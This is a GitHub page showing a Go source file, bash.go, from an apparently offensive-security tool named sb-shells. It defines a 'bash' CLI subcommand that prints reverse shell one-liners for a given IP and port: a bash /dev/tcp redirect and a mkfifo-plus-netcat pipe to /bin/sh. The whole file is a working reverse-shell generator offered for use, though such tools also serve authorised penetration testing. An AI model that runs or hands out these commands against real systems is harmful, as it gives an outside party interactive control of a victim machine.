-
Notifications
You must be signed in to change notification settings - Fork 0
/
bash.go
34 lines (24 loc) · 805 Bytes
/
bash.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package cmd
import (
"fmt"
"github.com/secopsbear/sb-shells/colors"
"github.com/spf13/cobra"
)
// bashCmd represents the bash command
var bashCmd = &cobra.Command{
Use: "bash",
Short: "Generate bash reverse shell scripts",
Long: `Generate bash reverse shell scripts.`,
Run: func(cmd *cobra.Command, args []string) {
validateIpAndPorts(cmd, args)
bashScript := `bash -i >& /dev/tcp/` + ipAddressLocal + `/` + portLocal + ` 0>&1`
fmt.Println(colors.CyanColor("bash reverse shell: basic "))
fmt.Println(bashScript)
bashScript = `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ` + ipAddressLocal + ` ` + portLocal + ` >/tmp/f `
fmt.Println(colors.CyanColor("bash reverse shell: mkfifo, nc "))
fmt.Println(bashScript)
},
}
func init() {
rootCmd.AddCommand(bashCmd)
}